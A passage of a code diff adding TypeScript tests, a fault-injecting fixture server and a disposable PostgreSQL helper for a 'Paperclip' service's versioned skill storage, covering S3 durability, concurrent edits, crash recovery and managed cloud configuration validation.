PAPERCLIP_STORAGE_S3_ENDPOINT: process.env.PAPERCLIP_TEST_S3_ENDPOINT, PAPERCLIP_STORAGE_S3_FORCE_PATH_STYLE: "true",
|
||||
PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED: "true", PAPERCLIP_LOG_LEVEL: "error", PAPERCLIP_TELEMETRY_ENABLED: "false" },
|
||||
});
|
||||
let logs = "";
|
||||
child.stdout?.on("data", data => { logs = (logs + data).slice(-5000); });
|
||||
child.stderr?.on("data", data => { logs = (logs + data).slice(-5000); });
|
||||
let nextId = 0;
|
||||
const server: Server = { child, home, url: "", rpc(method, input) {
|
||||
const id = ++nextId;
|
||||
return new Promise((resolve, reject) => {
|
||||
const timer = setTimeout(() => { cleanup(); reject(new Error(`Fixture RPC timed out: ${method}\n${logs}`)); }, 30_000);
|
||||
const receive = (message: any) => { if (message.id === id) { cleanup(); message.error ? reject(new Error(message.error)) : resolve(message.result); } };
|
||||
const exit = () => { cleanup(); reject(new Error(`Fixture exited during ${method}: ${logs}`)); };
|
||||
const cleanup = () => { clearTimeout(timer); child.off("message", receive); child.off("exit", exit); };
|
||||
child.on("message", receive); child.on("exit", exit); child.send({ id, method, input });
|
||||
});
|
||||
} };
|
||||
servers.push(server);
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => { cleanup(); reject(new Error(`Fixture startup timed out: ${logs}`)); }, 60_000);
|
||||
const receive = (message: any) => { if (message.ready) { server.url = `http://127.0.0.1:${message.port}/api`; cleanup(); resolve(); } };
|
||||
const exit = () => { cleanup(); reject(new Error(`Fixture startup failed: ${logs}`)); };
|
||||
const cleanup = () => { clearTimeout(timer); child.off("message", receive); child.off("exit", exit); };
|
||||
child.on("message", receive); child.on("exit", exit);
|
||||
});
|
||||
return server;
|
||||
}
|
||||
async function request(server: Server, route: string, method = "GET", body?: Record<string, unknown>, expected = 200) {
|
||||
const response = await fetch(`${server.url}${route}`, { method, headers: { "Content-Type": "application/json" },
|
||||
body: body ? JSON.stringify(body) : undefined, signal: AbortSignal.timeout(30_000) });
|
||||
const result = await response.json();
|
||||
expect(response.status, JSON.stringify(result)).toBe(expected);
|
||||
return result;
|
||||
}
|
||||
async function company() {
|
||||
const companyId = randomUUID();
|
||||
await db.insert(companies).values({ id: companyId, name: "Ephemeral skill qualification", issuePrefix: `EP${companyId.slice(0, 5)}` });
|
||||
return companyId;
|
||||
}
|
||||
async function directoryBytes(directory: string): Promise<number> {
|
||||
let bytes = 0;
|
||||
for (const entry of await fs.readdir(directory, { withFileTypes: true }).catch(() => [])) {
|
||||
const absolute = path.join(directory, entry.name);
|
||||
bytes += entry.isDirectory() ? await directoryBytes(absolute) : (await fs.stat(absolute)).size;
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
it("preserves unassigned content, exact receipts and executable delivery through A → B → C", async () => {
|
||||
const companyId = await company();
|
||||
const route = `/companies/${companyId}/skills`;
|
||||
const a = await start("a");
|
||||
const input = { name: "Cold fixture", slug: "cold-fixture", markdown: "# Version A\n", idempotencyKey: "create-once" };
|
||||
const created = await request(a, route, "POST", input, 201);
|
||||
const files = `${route}/${created.id}/files`;
|
||||
const script = await request(a, files, "PATCH", { path: "scripts/run.sh", content: "#!/bin/sh\ncat references/value.txt\n", executable: true, expectedVersionId: created.currentVersionId });
|
||||
const saved = await request(a, files, "PATCH", { path: "references/value.txt", content: "durable useful result\n", expectedVersionId: script.versionId });
|
||||
await request(a, route);
|
||||
await stop(a);
|
||||
await removeRuntimeAssetTree(a.home);
|
||||
await fs.writeFile(a.home, "predecessor filesystem unavailable");
|
||||
const b = await start("b");
|
||||
await b.rpc("metrics");
|
||||
expect((await request(b, route)).some((skill: any) => skill.id === created.id)).toBe(true);
|
||||
await request(b, `${route}/${created.id}/versions`);
|
||||
expect((await b.rpc("metrics")).downloads).toBe(0);
|
||||
const coldStarted = performance.now();
|
||||
expect(await request(b, `${files}?path=references/value.txt`)).toMatchObject({ content: "durable useful result\n", versionId: saved.versionId });
|
||||
const coldReadMs = performance.now() - coldStarted;
|
||||
const coldMetrics = await b.rpc("metrics");
|
||||
expect(coldMetrics.downloads).toBeGreaterThan(0);
|
||||
expect(await b.rpc("runtime", { companyId, key: created.key, execute: true })).toMatchObject({ versionId: saved.versionId, output: "durable useful result\n" });
|
||||
await b.rpc("metrics");
|
||||
const warm = await b.rpc("runtime", { companyId, key: created.key, execute: true });
|
||||
const warmMetrics = await b.rpc("metrics");
|
||||
expect(warmMetrics.downloads).toBe(0);
|
||||
const temporaryBytes = await directoryBytes(b.home);
|
||||
await b.rpc("faults", { lostResponse: true });
|
||||
const saveInput = { path: "SKILL.md", content: "# Version B\n", expectedVersionId: saved.versionId, idempotencyKey: "save-once" };
|
||||
await expect(request(b, files, "PATCH", saveInput)).rejects.toThrow();
|
||||
const receipt = await request(b, files, "PATCH", saveInput);
|
||||
expect(receipt).toMatchObject({ skillId: created.id, path: "SKILL.md" });
|
||||
const c = await start("c");
|
||||
expect(await request(c, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Version B\n", versionId: receipt.versionId });
|
||||
expect(await request(c, route, "POST", input)).toEqual(created);
|
||||
await stop(b);
|
||||
await removeRuntimeAssetTree(b.home);
|
||||
expect(await c.rpc("runtime", { companyId, key: created.key, versionId: saved.versionId, execute: true }))
|
||||
.toMatchObject({ versionId: saved.versionId, markdown: "# Version A\n", output: "durable useful result\n" });
|
||||
expect(await request(c, files, "PATCH", { ...saveInput, content: "different" }, 409)).toHaveProperty("error");
|
||||
process.stdout.write(`${JSON.stringify({ qualification: "A-B-C", versions: [created.currentVersionId, saved.versionId, receipt.versionId],
|
||||
coldReadMs, coldDownloads: coldMetrics.downloads, coldObjectBytes: coldMetrics.downloadedBytes,
|
||||
warmMs: warm.elapsedMs, warmDownloads: warmMetrics.downloads, rssBytes: warmMetrics.memory.rss, temporaryBytes })}\n`);
|
||||
}, 180_000);
|
||||
|
||||
it("rejects concurrent stale publication and survives upload failure or process death", async () => {
|
||||
const companyId = await company(), route = `/companies/${companyId}/skills`;
|
||||
const a = await start("concurrent-a"), b = await start("concurrent-b");
|
||||
const created = await request(a, route, "POST", { name: "Conflict", markdown: "# Stable\n" }, 201);
|
||||
const files = `${route}/${created.id}/files`;
|
||||
await request(a, `${files}?path=SKILL.md`);
|
||||
const edit = await request(b, files, "PATCH", { path: "first.txt", content: "B", expectedVersionId: created.currentVersionId });
|
||||
await request(a, files, "PATCH", { path: "second.txt", content: "A", expectedVersionId: created.currentVersionId }, 409);
|
||||
expect(await request(a, `${files}?path=first.txt`)).toMatchObject({ content: "B", versionId: edit.versionId });
|
||||
await a.rpc("faults", { failUploads: true });
|
||||
await request(a, files, "PATCH", { path: "SKILL.md", content: "# Must not commit\n", expectedVersionId: edit.versionId }, 500);
|
||||
expect(await request(b, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Stable\n", versionId: edit.versionId });
|
||||
await a.rpc("faults", { crashAfterUpload: true });
|
||||
await expect(request(a, files, "PATCH", { path: "SKILL.md", content: "# Crash candidate\n", expectedVersionId: edit.versionId })).rejects.toThrow();
|
||||
expect(await request(b, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Stable\n", versionId: edit.versionId });
|
||||
}, 180_000);
|
||||
});
|
||||
@@ -2,12 +2,12 @@ import { enableRunFailureReporting } from "./helpers/run-failure-reporting.js";
|
||||
import { createHash, randomUUID } from "node:crypto";
|
||||
import { trace } from "@opentelemetry/api";
|
||||
import { InMemorySpanExporter, SimpleSpanProcessor, TracerProvider } from "@opentelemetry/sdk-trace";
|
||||
import { access, chmod, mkdir, readdir, readFile, mkdtemp, rm } from "node:fs/promises";
|
||||
import { access, chmod, mkdir, readdir, readFile, mkdtemp, rm, stat } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import path from "node:path";
|
||||
import { eq } from "drizzle-orm";
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
|
||||
import { agents, authUsers, companies, companyMemberships, companySkills, createDb, heartbeatRunEvents, heartbeatRuns, issues, projects, plugins, environments } from "@paperclipai/db";
|
||||
import { agents, authUsers, companies, companyMemberships, companySkills, companySkillTestRuns, createDb, heartbeatRunEvents, heartbeatRuns, issues, projects, plugins, environments } from "@paperclipai/db";
|
||||
import { companySkillService } from "../services/company-skills.js";
|
||||
import { withSkillVersionCacheLock } from "../services/skill-version-cache.js";
|
||||
import { registerServerAdapter, unregisterServerAdapter, type AdapterExecutionContext } from "../adapters/index.js";
|
||||
@@ -21,7 +21,7 @@ import { aiConnectionService } from "../services/ai-connections.js";
|
||||
import * as aiRuntime from "../services/ai-connection-runtime.js";
|
||||
import * as sentry from "../sentry.js";
|
||||
import { waitForPendingRunFailureReports } from "../services/run-failure-report.js";
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
|
||||
import { recoveryPostgresSupport, startRecoveryPostgres } from "./helpers/recovery-postgres.js";
|
||||
|
||||
const skillFailures = vi.hoisted(() => new Map<string, string>());
|
||||
|
||||
@@ -59,12 +59,12 @@ vi.mock("../services/company-skills.js", async importOriginal => {
|
||||
} };
|
||||
});
|
||||
|
||||
const support = await getEmbeddedPostgresTestSupport();
|
||||
const support = recoveryPostgresSupport;
|
||||
const describePostgres = support.supported ? describe : describe.skip;
|
||||
if (!support.supported) console.warn(`Skipping execution configuration tests: ${support.reason}`);
|
||||
|
||||
describePostgres("heartbeat execution configuration through adapter dispatch", () => {
|
||||
let temporary: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
|
||||
let temporary: Awaited<ReturnType<typeof startRecoveryPostgres>>;
|
||||
let db: ReturnType<typeof createDb>;
|
||||
let heartbeat: ReturnType<typeof heartbeatService>;
|
||||
const captured = new Map<string, AdapterExecutionContext>();
|
||||
@@ -74,7 +74,7 @@ describePostgres("heartbeat execution configuration through adapter dispatch", (
|
||||
let home: string;
|
||||
|
||||
beforeAll(async () => {
|
||||
temporary = await startEmbeddedPostgresTestDatabase("heartbeat-execution-config-");
|
||||
temporary = await startRecoveryPostgres("heartbeat-execution-config-");
|
||||
db = createDb(temporary.connectionString);
|
||||
home = await mkdtemp(path.join(tmpdir(), "paperclip-execution-skills-"));
|
||||
process.env.PAPERCLIP_HOME = home;
|
||||
@@ -90,7 +90,7 @@ describePostgres("heartbeat execution configuration through adapter dispatch", (
|
||||
},
|
||||
testEnvironment: async () => ({ adapterType, status: "pass", checks: [], testedAt: new Date().toISOString() }),
|
||||
});
|
||||
}, 30_000);
|
||||
}, 60_000);
|
||||
afterEach(() => { vi.restoreAllMocks(); vi.unstubAllEnvs(); skillFailures.clear(); });
|
||||
afterAll(async () => {
|
||||
await heartbeat?.drainActiveRunExecutions();
|
||||
@@ -220,14 +220,14 @@ describePostgres("heartbeat execution configuration through adapter dispatch", (
|
||||
}
|
||||
});
|
||||
|
||||
async function configuration(f: Awaited<ReturnType<typeof seed>>, config: Record<string, unknown>, snapshot: Record<string, unknown> = {}, type = "paperclip_runner", explicitTaskDirectory = false, requestedExecutionWorkspaceMode: HeartbeatExecutionConfigurationInput["policy"]["requestedExecutionWorkspaceMode"] = "shared_workspace", selectedEnvironmentForConfig: HeartbeatExecutionConfigurationInput["environment"]["selectedEnvironmentForConfig"] = null) {
|
||||
async function configuration(f: Awaited<ReturnType<typeof seed>>, config: Record<string, unknown>, snapshot: Record<string, unknown> = {}, type = "paperclip_runner", explicitTaskDirectory = false, requestedExecutionWorkspaceMode: HeartbeatExecutionConfigurationInput["policy"]["requestedExecutionWorkspaceMode"] = "shared_workspace", selectedEnvironmentForConfig: HeartbeatExecutionConfigurationInput["environment"]["selectedEnvironmentForConfig"] = null, pinnedSkillTest?: HeartbeatExecutionConfigurationInput["task"]["pinnedSkillTest"]) {
|
||||
const [agent] = await db.update(agents).set({ adapterType: type, adapterConfig: config }).where(eq(agents.id, f.agentId)).returning();
|
||||
const [run] = await db.insert(heartbeatRuns).values({ companyId: f.companyId, agentId: f.agentId, issueId: f.issueId, scopeKind: "issue", status: "running", contextSnapshot: snapshot }).returning();
|
||||
const resolvedInstanceSettings = await instanceSettingsService(db).get();
|
||||
const appendRunEvent = vi.fn();
|
||||
return { run, appendRunEvent, prepare: () => prepareHeartbeatExecutionConfiguration(db, {
|
||||
run, agent,
|
||||
task: { issueId: f.issueId, context: { ...snapshot, issueId: f.issueId }, responsibleUserId: null,
|
||||
task: { issueId: f.issueId, context: { ...snapshot, issueId: f.issueId }, responsibleUserId: null, pinnedSkillTest,
|
||||
acceptedPlanContinuationWake: false, acceptedPlanWakeRoutingDecision: null,
|
||||
taskProjectContext: null, routineEnvContext: { routineId: null, env: null, responsibleUserId: null } },
|
||||
config: { sourceWorkspaceConfig: config, aiBinding: undefined },
|
||||
@@ -239,6 +239,56 @@ describePostgres("heartbeat execution configuration through adapter dispatch", (
|
||||
}) };
|
||||
}
|
||||
|
||||
it("delivers the Studio pin instead of ordinary assignments and recovers that exact native selection", async () => {
|
||||
const f = await seed(), skills = companySkillService(db);
|
||||
const selected = await skills.createLocalSkill(f.companyId, { name: "Unassigned Studio skill", markdown: "# Studio\nOriginal selected bytes.\n" });
|
||||
const other = await skills.createLocalSkill(f.companyId, { name: "Ordinary assignment" });
|
||||
const pin = { key: selected.key, versionId: selected.currentVersionId! };
|
||||
await skills.updateFile(f.companyId, selected.id, "SKILL.md", "# Studio\nNewer head.\n");
|
||||
const config = { paperclipSkillSync: { desiredSkills: [other.key] } };
|
||||
await instanceSettingsService(db).updateExperimental({ enableBetaSkills: false });
|
||||
const opening = await configuration(f, config, {}, "paperclip_runner", false, "shared_workspace", null, pin);
|
||||
const result = await opening.prepare();
|
||||
expect(result.prepared).toBe(true);
|
||||
if (!result.prepared) throw new Error("Configuration did not finish");
|
||||
expect(result.runtimeSkillEntries).toEqual([expect.objectContaining({ key: selected.key, versionId: pin.versionId })]);
|
||||
expect(await readFile(path.join(result.runtimeSkillEntries[0]!.source, "SKILL.md"), "utf8")).toContain("Original selected bytes.");
|
||||
const [saved] = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, opening.run.id));
|
||||
expect(saved.contextSnapshot!.skillVersions).toEqual({ [selected.key]: pin.versionId });
|
||||
const restoring = await configuration(f, { paperclipSkillSync: { desiredSkills: [] } }, saved.contextSnapshot!, "paperclip_runner");
|
||||
expect(await restoring.prepare()).toMatchObject({ runtimeSkillEntries: [expect.objectContaining({ key: selected.key, versionId: pin.versionId })] });
|
||||
const preconfigured = await configuration(f, { ...config, homeMode: "preconfigured" }, {}, "paperclip_runner", false, "shared_workspace", null, pin);
|
||||
await expect(preconfigured.prepare()).rejects.toThrow("isolated Runner home");
|
||||
await db.update(companySkills).set({ accessSourceId: randomUUID() }).where(eq(companySkills.id, selected.id));
|
||||
const denied = await configuration(f, config, {}, "paperclip_runner", false, "shared_workspace", null, pin);
|
||||
await expect(denied.prepare()).rejects.toThrow("pinned skill is unavailable or no longer permitted");
|
||||
}, 60_000);
|
||||
|
||||
it("dispatches an unassigned Studio revision from its durable harness row", async () => {
|
||||
const f = await seed(), skills = companySkillService(db);
|
||||
const selected = await skills.createLocalSkill(f.companyId, { name: "Studio delivery", markdown: "# Studio\nRead scripts/prove.sh.\n" });
|
||||
const script = "#!/bin/sh\nprintf 'studio-pinned-proof\\n'\n";
|
||||
const saved = await skills.updateFile(f.companyId, selected.id, "scripts/prove.sh", script, null, { executable: true });
|
||||
const other = await skills.createLocalSkill(f.companyId, { name: "Assigned instead" });
|
||||
await db.update(agents).set({ adapterConfig: { paperclipSkillSync: { desiredSkills: [other.key] } } }).where(eq(agents.id, f.agentId));
|
||||
await db.update(issues).set({ workMode: "skill_test", harnessKind: "skill_test" }).where(eq(issues.id, f.issueId));
|
||||
await db.insert(companySkillTestRuns).values({ companyId: f.companyId, skillId: selected.id, skillVersionId: saved.versionId!,
|
||||
agentId: f.agentId, issueId: f.issueId, inputSnapshot: "Run the saved script." });
|
||||
await skills.updateFile(f.companyId, selected.id, "scripts/prove.sh", "#!/bin/sh\necho newer\n", null, { executable: true });
|
||||
const { finished, input } = await execute(f);
|
||||
expect(finished.status, finished.error ?? undefined).toBe("succeeded");
|
||||
const delivered = input?.config.paperclipRuntimeSkills as Array<{ key: string; source: string; versionId: string }>;
|
||||
const testSkill = delivered.find(entry => entry.key === selected.key)!;
|
||||
expect(testSkill).toMatchObject({ versionId: saved.versionId });
|
||||
expect(delivered.some(entry => entry.key === other.key)).toBe(false);
|
||||
expect(await readFile(path.join(testSkill.source, "scripts/prove.sh"), "utf8")).toBe(script);
|
||||
expect((await stat(path.join(testSkill.source, "scripts/prove.sh"))).mode & 0o111).not.toBe(0);
|
||||
expect(finished.contextSnapshot).toMatchObject({ skillVersions: { [selected.key]: saved.versionId },
|
||||
paperclipSkillTest: { skillKey: selected.key, skillVersionId: saved.versionId } });
|
||||
const [unchangedAgent] = await db.select().from(agents).where(eq(agents.id, f.agentId));
|
||||
expect(unchangedAgent.adapterConfig).toMatchObject({ paperclipSkillSync: { desiredSkills: [other.key] } });
|
||||
}, 60_000);
|
||||
|
||||
it("does not install new environment declarations when recovering a saved skill selection", async () => {
|
||||
const f = await seed(), pluginId = randomUUID(), pluginKey = `fixture.${randomUUID()}`;
|
||||
await db.insert(plugins).values({ id: pluginId, pluginKey, packageName: "fixture", version: "1.0.0", status: "ready",
|
||||
|
||||
@@ -24,6 +24,7 @@ import {
|
||||
getEmbeddedPostgresTestSupport,
|
||||
startEmbeddedPostgresTestDatabase,
|
||||
} from "./helpers/embedded-postgres.js";
|
||||
import { skillInstallationMaintenance } from "../services/skill-installation-maintenance.js";
|
||||
import { companySkillService } from "../services/company-skills.ts";
|
||||
import { heartbeatService } from "../services/heartbeat.ts";
|
||||
import { instanceSettingsService } from "../services/instance-settings.ts";
|
||||
@@ -160,7 +161,11 @@ describeEmbeddedPostgres("heartbeat runtime skill version pins", () => {
|
||||
const skills = companySkillService(db);
|
||||
const imported = await skills.importFromSource(companyId, directory);
|
||||
const key = imported.imported[0]!.key;
|
||||
if (sourceType === "catalog") await db.update(companySkills).set({ sourceType }).where(eq(companySkills.key, key));
|
||||
if (sourceType === "catalog") {
|
||||
await db.update(companySkills).set({ sourceType }).where(eq(companySkills.key, key));
|
||||
const result = await skillInstallationMaintenance(db).installations({ id: imported.imported[0]!.id, apply: true, writersStopped: true });
|
||||
expect(result.results[0]!.status).toBe("converted");
|
||||
}
|
||||
const selected = { snapshotLatest: true, onlyKeys: new Set([key]) };
|
||||
const [first] = await skills.listRuntimeSkillEntries(companyId, selected);
|
||||
expect(first!.versionId).toBeTruthy();
|
||||
@@ -169,6 +174,14 @@ describeEmbeddedPostgres("heartbeat runtime skill version pins", () => {
|
||||
// A reference-only change must be discovered even when SKILL.md is unchanged.
|
||||
await fs.writeFile(path.join(directory, 'references/marker.txt'), 'v2\n');
|
||||
if (sourceType === "local_path") await skills.importFromSource(companyId, directory);
|
||||
else {
|
||||
const [beforeUpdate] = await skills.listRuntimeSkillEntries(companyId, selected);
|
||||
expect(beforeUpdate!.versionId).toBe(first!.versionId);
|
||||
const saved = (await skills.getVersion(companyId, imported.imported[0]!.id, first!.versionId!))!;
|
||||
await skills.createVersion(companyId, imported.imported[0]!.id, {}, null, {
|
||||
fileInventory: saved.fileInventory.map(file => file.path === "references/marker.txt" ? { ...file, content: "v2\n" } : file),
|
||||
});
|
||||
}
|
||||
const [latest] = await skills.listRuntimeSkillEntries(companyId, selected);
|
||||
expect(latest!.versionId).not.toBe(first!.versionId);
|
||||
expect(await fs.readFile(path.join(latest!.source, 'references/marker.txt'), 'utf8')).toBe('v2\n');
|
||||
|
||||
@@ -1,6 +1,35 @@
|
||||
export {
|
||||
getEmbeddedPostgresTestSupport,
|
||||
startEmbeddedPostgresTestDatabase,
|
||||
import { randomUUID } from "node:crypto";
|
||||
import {
|
||||
applyPendingMigrations,
|
||||
createDb,
|
||||
getEmbeddedPostgresTestSupport as embeddedSupport,
|
||||
startEmbeddedPostgresTestDatabase as startEmbedded,
|
||||
type EmbeddedPostgresTestDatabase,
|
||||
type EmbeddedPostgresTestSupport,
|
||||
} from "@paperclipai/db";
|
||||
|
||||
export type { EmbeddedPostgresTestDatabase, EmbeddedPostgresTestSupport };
|
||||
|
||||
export async function getEmbeddedPostgresTestSupport(): Promise<EmbeddedPostgresTestSupport> {
|
||||
return process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? { supported: true } : embeddedSupport();
|
||||
}
|
||||
|
||||
export async function startEmbeddedPostgresTestDatabase(prefix: string): Promise<EmbeddedPostgresTestDatabase> {
|
||||
const adminUrl = process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL;
|
||||
if (!adminUrl) return startEmbedded(prefix);
|
||||
const name = `paperclip_test_${randomUUID().replaceAll("-", "")}`;
|
||||
const template = process.env.PAPERCLIP_TEST_POSTGRES_TEMPLATE;
|
||||
if (template && !/^paperclip_test_template_[a-f0-9]+$/.test(template)) throw new Error("Invalid disposable test template name");
|
||||
const admin = createDb(adminUrl, { maxConnections: 1 });
|
||||
const url = new URL(adminUrl);
|
||||
url.pathname = `/${name}`;
|
||||
const cleanup = async () => {
|
||||
try { await admin.$client.unsafe(`DROP DATABASE IF EXISTS "${name}" WITH (FORCE)`); }
|
||||
finally { await admin.$client.end({ timeout: 1 }); }
|
||||
};
|
||||
try {
|
||||
await admin.$client.unsafe(`CREATE DATABASE "${name}"${template ? ` TEMPLATE "${template}"` : ""}`);
|
||||
if (!template) await applyPendingMigrations(url.toString());
|
||||
return { connectionString: url.toString(), cleanup };
|
||||
} catch (error) { await cleanup(); throw error; }
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
import express from "express";
|
||||
import { promisify } from "node:util";
|
||||
import { execFile } from "node:child_process";
|
||||
import { promises as fs } from "node:fs";
|
||||
import path from "node:path";
|
||||
import { createDb } from "@paperclipai/db";
|
||||
import { companySkillRoutes } from "../../routes/company-skills.js";
|
||||
import { errorHandler } from "../../middleware/error-handler.js";
|
||||
import { companySkillService } from "../../services/company-skills.js";
|
||||
import { getStorageService } from "../../storage/index.js";
|
||||
|
||||
const db = createDb(process.env.DATABASE_URL!, { maxConnections: 1 });
|
||||
const storage = getStorageService();
|
||||
const getObject = storage.getObject.bind(storage), putFile = storage.putFile.bind(storage);
|
||||
let downloads = 0, downloadedBytes = 0, failUploads = false, crashAfterUpload = false, lostResponse = false;
|
||||
storage.getObject = async (...args) => {
|
||||
downloads++;
|
||||
const result = await getObject(...args);
|
||||
downloadedBytes += result.contentLength ?? 0;
|
||||
return result;
|
||||
};
|
||||
storage.putFile = async (...args) => {
|
||||
if (failUploads) throw new Error("Qualification upload failure");
|
||||
const result = await putFile(...args);
|
||||
if (crashAfterUpload) process.kill(process.pid, "SIGKILL");
|
||||
return result;
|
||||
};
|
||||
const app = express();
|
||||
app.use(express.json());
|
||||
app.use((req, res, next) => {
|
||||
req.actor = { type: "board", source: "local_implicit", userId: "local-board", isInstanceAdmin: true };
|
||||
const json = res.json.bind(res);
|
||||
res.json = ((body: unknown) => {
|
||||
if (lostResponse && res.statusCode < 400 && req.method !== "GET") {
|
||||
lostResponse = false;
|
||||
res.socket?.destroy();
|
||||
return res;
|
||||
}
|
||||
return json(body);
|
||||
}) as typeof res.json;
|
||||
next();
|
||||
});
|
||||
app.use("/api", companySkillRoutes(db));
|
||||
app.use(errorHandler);
|
||||
const server = app.listen(0, "127.0.0.1", () => {
|
||||
const address = server.address();
|
||||
process.send?.({ ready: true, port: typeof address === "object" ? address?.port : null, pid: process.pid });
|
||||
});
|
||||
process.on("message", async (message: { id: number; method: string; input?: Record<string, any> }) => {
|
||||
try {
|
||||
const input = message.input ?? {};
|
||||
let result: unknown;
|
||||
if (message.method === "faults") {
|
||||
failUploads = input.failUploads ?? false;
|
||||
crashAfterUpload = input.crashAfterUpload ?? false;
|
||||
lostResponse = input.lostResponse ?? false;
|
||||
result = true;
|
||||
} else if (message.method === "metrics") {
|
||||
result = { downloads, downloadedBytes, memory: process.memoryUsage() };
|
||||
downloads = 0; downloadedBytes = 0;
|
||||
} else if (message.method === "runtime") {
|
||||
const started = performance.now();
|
||||
result = await companySkillService(db).withRuntimeSkillEntries(input.companyId, {
|
||||
onlyKeys: new Set([input.key]), snapshotLatest: true,
|
||||
...(input.versionId ? { versionSelections: new Map([[input.key, input.versionId]]) } : {}),
|
||||
}, async entries => {
|
||||
const entry = entries[0];
|
||||
if (!entry || entry.sourceStatus === "missing") throw new Error(entry?.missingDetail ?? "Missing runtime selection");
|
||||
const output = input.execute ? await promisify(execFile)(path.join(entry.source, "scripts/run.sh"), [], { cwd: entry.source }) : null;
|
||||
return { versionId: entry.versionId, markdown: await fs.readFile(path.join(entry.source, "SKILL.md"), "utf8"),
|
||||
output: output?.stdout, elapsedMs: performance.now() - started };
|
||||
});
|
||||
} else throw new Error("Unknown fixture method");
|
||||
process.send?.({ id: message.id, result });
|
||||
} catch (error) { process.send?.({ id: message.id, error: error instanceof Error ? error.message : String(error) }); }
|
||||
});
|
||||
@@ -0,0 +1,201 @@
|
||||
import { mkdtempSync, rmSync, writeFileSync } from "node:fs";
|
||||
import { tmpdir } from "node:os";
|
||||
import path from "node:path";
|
||||
import { createServer } from "node:http";
|
||||
import type { AddressInfo } from "node:net";
|
||||
import { createStorageProviderFromConfig } from "../storage/provider-registry.js";
|
||||
import { createLocalEncryptedCipher } from "../secrets/local-encrypted-provider.js";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { loadConfig } from "../config.js";
|
||||
import { readConfigFile } from "../config-file.js";
|
||||
import { readLegacyCloudRuntimeConfig } from "../services/cloud-runtime-config.js";
|
||||
import { setCloudRuntimeConfigSnapshot } from "../services/cloud-runtime-config-snapshot.js";
|
||||
const managed = JSON.stringify({
|
||||
v: 1, mode: "cloud", catalogVersion: "2026.720.0", features: {}, plugins: { autoInstall: [] },
|
||||
});
|
||||
|
||||
let configDir: string;
|
||||
|
||||
beforeEach(() => {
|
||||
setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: null });
|
||||
configDir = mkdtempSync(path.join(tmpdir(), "paperclip-cloud-config-"));
|
||||
vi.stubEnv("PAPERCLIP_CONFIG", path.join(configDir, "config.json"));
|
||||
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", managed);
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "s3");
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", "test-bucket");
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_REGION", undefined);
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_ENDPOINT", undefined);
|
||||
vi.stubEnv("DATABASE_URL", "postgresql://user:private@db.example.test/paperclip");
|
||||
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012");
|
||||
});
|
||||
afterEach(() => {
|
||||
setCloudRuntimeConfigSnapshot(null);
|
||||
vi.unstubAllEnvs();
|
||||
rmSync(configDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
function writeConfig(storage: Record<string, unknown>) {
|
||||
writeFileSync(path.join(configDir, "config.json"), JSON.stringify({
|
||||
$meta: { version: 1, updatedAt: "2026-10-30T00:00:00.000Z", source: "configure" },
|
||||
logging: { mode: "file" },
|
||||
server: {},
|
||||
storage,
|
||||
database: { mode: "postgres", connectionString: "postgres://db.example.test/paperclip" },
|
||||
}));
|
||||
}
|
||||
|
||||
describe("managed cloud configuration boundary", () => {
|
||||
it("accepts configured S3, external PostgreSQL, and the existing master-key formats", () => {
|
||||
for (const key of ["12345678901234567890123456789012", Buffer.alloc(32, 7).toString("hex"), Buffer.alloc(32, 7).toString("base64")]) {
|
||||
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", key);
|
||||
expect(loadConfig()).toMatchObject({ storageProvider: "s3", storageS3Bucket: "test-bucket", storageS3Region: "us-east-1" });
|
||||
}
|
||||
});
|
||||
|
||||
it.each([undefined, "", "local_disk", "typo"])("rejects storage provider %j without silent fallback", (value) => {
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", value);
|
||||
expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_PROVIDER=s3/);
|
||||
});
|
||||
|
||||
it.each([undefined, "", " "])("requires an explicit bucket (%j)", (value) => {
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", value);
|
||||
expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_S3_BUCKET/);
|
||||
});
|
||||
|
||||
it.each(["", " "])("rejects blank region %j", (value) => {
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_REGION", value);
|
||||
expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_S3_REGION/);
|
||||
});
|
||||
|
||||
it.each(["", "ftp://store.test", "https://user:private@store.test"])("rejects invalid endpoint without exposing it", (value) => {
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_ENDPOINT", value);
|
||||
expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_S3_ENDPOINT/);
|
||||
try { loadConfig(); } catch (error) { expect(String(error)).not.toContain("private"); }
|
||||
});
|
||||
|
||||
it.each([undefined, "", "sqlite://local/data", "postgresql://"])("requires an external database URL (%j)", (value) => {
|
||||
vi.stubEnv("DATABASE_URL", value);
|
||||
expect(() => loadConfig()).toThrow(/external PostgreSQL URL/);
|
||||
});
|
||||
|
||||
it.each([undefined, "", " ", "short"])("rejects missing or invalid env key (%j), even with a configured key file", (value) => {
|
||||
